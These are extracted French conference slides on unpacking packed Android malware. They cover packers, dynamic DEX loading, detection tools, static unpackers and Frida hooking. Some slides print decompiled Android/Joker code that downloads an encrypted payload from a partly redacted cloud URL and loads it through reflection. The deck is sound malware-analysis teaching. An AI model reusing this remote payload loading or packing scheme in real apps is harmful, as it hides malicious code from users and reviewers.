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Bonjour ! Qui suis-je ?

Principal Security Researcher chez Fortinet

Thèmes: Malware sur Android et IoT

Ph0wn CTF, 9 décembre 2022 à Sophia Antipolis

Email: aapvrille (at) fortinet (dot) com

Twitter: @cryptax
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https://ph0wn.org


APK 101

Application Android (APK)

Librairies

Ressources

Manifest (XML)
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Obfuscation

Rendre le code difficile à lire

public String wrongopen(File file) {

if (file.canWrite()) {

for (int i = 3; i < 17; i++) {

this.WbTowpglUD_968305 = (this.YUwpEMgNfl_692005

* 63) - (61 / this.ducTLgZhfU_406715);

}

}

return file.getAbsolutePath();

}
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Packing

?
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Packing

? Impossible de
savoir ce qu’il y
a dans le paquet...
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Packing

? Impossible de
savoir ce qu’il y
a dans le paquet...

Pico a l’air con-
tent, mais a-t-il
raison ? Le con-
tenu peut être un
virus...
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Packer 6= Malware
MAIS

dans cette présentation, on ne parle
QUE d’applications malveillantes

(et qui sont packées)
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Fonctionnement d’un packer

APK

DEX - Packer
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Fonctionnement d’un packer

APK

DEX - Packer Unpacking Algo Propriétaire,
caché, com-
plexe...
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Fonctionnement d’un packer

APK

DEX - Packer

Unpacking Algo
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Fonctionnement d’un packer

APK

DEX - Packer

DEX - Payload

chargement dynamique
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Inutile d’analyser ”l’APK”!

Vous ne verrez que le packer = emballage !
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Chargement dynamique de DEX
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Chargement dynamique de DEX
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Chargement dynamique de DEX
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Exemple: Android/Joker

sha256:
afeb6efad25ed7bf1bc183c19ab5b59ccf799d46e620a5d1257d32669bedff6f

classe: f.b.a.a.a

this.keydata = "nuff";

this.salt = "Xu7PDSGzGRs=";

// Base64 + PBE MD5 + DES

// https://look4[..].aliyuncs.com/designemoji

String pathname = this.b.a("txxloNzRiCUGAlLCRVepAvPIOFmo4TVqlrn1..",

this.keydata, this.salt);

String filename = this.keydata;

// download

f.b.a.a.a(pathname,

this.ctx.getCacheDir() +

"/".concat(filename)).a(this);
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Android/Joker: Chargement dynamique - Principe

Object cl = ctx.getClassLoader();

ClassLoader cl_obj = ClassLoader.newInstance();

seekClz = cl_obj.loadClass("seek");

Method [] methodsList = seekClz.getMethods();

// appel d'une methode statique:

// pas besoin de specifier la classe statique

// equivalent: seek.melody(ctx)

methodsList.get("melody").invoke(null, ctx)
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Android/Joker: Chargement dynamique - Code
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Comment savoir si l’appli est packée ?

DroidLysis
Détecte le principe du packing

Détected que l’activité
principale n’est pas inclue dans
le DEX

https://github.com/

cryptax/droidlysis

APKiD
Reconnait certains packers
connus, à base de règles Yara

https://github.com/

rednaga/APKiD
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Détection de packing avec DroidLysis
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Détection de packing avec APKiD
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Unpacking statique : démo

Projet de semestre réalisé par Charles Puaux et Lucas Soursou
Superviseurs: Ludovic Apvrille et moi :)

$ java -cp ./build/classes/ DecryptJson.DecryptJson -i

com.sponsor.economy.apk

1 packed sample(s) to process...

Extracting APK files...

Unpacking com.sponsor.economy (1/1) ...

Decrypted file was a zipped DEX.

Check /tmp/DecryptJson.com.sponsor.economy/

com.sponsor.economy.dex
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Comment écrire un unpacker statique ?

Etape 1. Il faut savoir unpacker à la main. Sans utiliser Frida
et ses dérivés (dynamiques)

Etape 2. Automatisation.
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Exemple: unpacker statique pour ”JsonPacker”

Où est le DEX chiffré ?

$ ls ./assets

animation_me_boost.json kQTUiw.json

animation_me_clean.json licenses

animation_scan_whats_app_empty.json load.js

...

C’est toujours un .json

Nom court et aléatoire

kQTUiw.json
Android/BianLian: 576be33dbbd61ad2643304adcf4e2240e689a6b24641a1882d892bb71ad3d5c6
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Algorithme de déchiffrement
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Après nettoyage

int var1 = 0;

int var2 = 0;

byte[] outputContent = new byte[inputContent.length];

for (int i3 = 0; i3 < inputContent.length; i3 ++) {

var1 = (var1 + 1) % 256;

var2 = (var2 + payloadKey[var1]) % 256;

swap(payloadKey[var1], payloadKey[var2]);

int keyloop = payloadKey[(payloadKey[var1] +

payloadKey[var2]) % 256];↪→

outputContent[i3] = (byte) ((keyloop) ^ inputContent[i3]);

}

return outputContent;
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Trouver la clé

public static String balancetortoise() {

int v0 = 9;

int v1 = 0x400;

int v2;

for(v2 = 9; v2 < 41; ++v2) {

v1 = 0x40E;

}

byte[] v3 = {105, 10, 82, 8};

...
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Automatisation à coup de Regexp

"\\.line [0-9]+(\\s){5}iput-boolean (v|p)[0-9], " +

"(v|p)[0-9], L(.{1,100}/){3}.{1,100};->.{1,100}:.(\\s){6}" +

"(invoke-static \\{\\},

L(.{1,100}/){3}.{1,100};->.{1,100}\\(\\)" +↪→

"Ljava/lang/StringBuilder;(\\s){6}){0,1}" +

"(const.* (v|p)[0-9], [x\"0-9a-fA-F]+.*(\\s){6}){0,1}" +

"(new-array (v|p)[0-9], (v|p)[0-9], .{1,3}(\\s){6}){0,1}" +

...
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Frida

Android

Frida

Objection Medusa Dexcalibur

'use strict';

console.log("[*] Hooking dynamic class

/ method v6");↪→
Java.perform(function(){

var dexclassLoader =

Java.use("dalvik.system.DexClassLoader");↪→

dexclassLoader.loadClass.overload('java.lang.String').implementation

= function(name){

↪→
↪→
var dyn_class_name =

"com.poverty.economy";↪→
var result =

this.loadClass(name,false);↪→
if(name.includes(dyn_class_name)){

var active_classloader =

result.getClassLoader();↪→
var factory =

Java.ClassFactory.get(active_classloader);↪→
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Démo de Medusa

https://github.com/Ch0pin/medusa
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Android/Joker: 4 payloads !

APK Serveur

appdir/cache/nuff (JAR)

RUN seek.melody()

https://look4[...]aliyuncs.com/designemoj

URLClassLoader() + Reflexion
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PAYLOAD 1

A. Apvrille - Unpacking 1, 2, 3 ! - 29/34

https://look4[...]aliyuncs.com/designemoj


Android/Joker: 4 payloads !

APK PAYLOAD 1 Serveur

appdir/files/seek (DEX)

RUN cantus.bustle()

https://look4[...]aliyuncs.com/nunber

DexClassLoader() + Reflexion
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Android/Joker: 4 payloads !

APK PAYLOAD 1

PAYLOAD 2 Autre Serveur

appdir/files/Yang (DEX)

RUN com.xjuys.xjuys()

https://xjuys.[...]aliyuncs.com/xjuys

DexClassLoader() + Reflexion
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Android/Joker: 4 payloads !

APK PAYLOAD 1

PAYLOAD 2

PAYLOAD 3

Autre Serveur

appdir/files/jfao (DEX)

RUN com.facebook2.j.a()

https://xjuys.[...]aliyuncs.com/fbhx1

DexClassLoader() + Reflexion
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Android/Joker: 4 payloads !

APK PAYLOAD 1

PAYLOAD 2

PAYLOAD 3

Autre Serveur

appdir/files/jfao (DEX)

RUN com.facebook2.j.a()

https://xjuys.[...]aliyuncs.com/fbhx1

DexClassLoader() + Reflexion

PAYLOAD 4
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Android/Joker: 4 payloads !

APK PAYLOAD 1

PAYLOAD 2

PAYLOAD 3

PAYLOAD 4a PAYLOAD 4b

Plus d’infos: https://cryptax.medium.com/...
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Alternatives à Medusa

MobSF

Installation automatique de
Frida

Aussi analyse statique

House

Installation facile

Super monitoring fichiers,
shared prefs, http

Dexcalibur

Très facile d’ajouter des
hooks

Facile à adapter

Objection

Installation facile

En ligne de commande
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Conclusion

Les unpackers statiques, ça vaut le coup !

Medusa rocks!
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Alternatives
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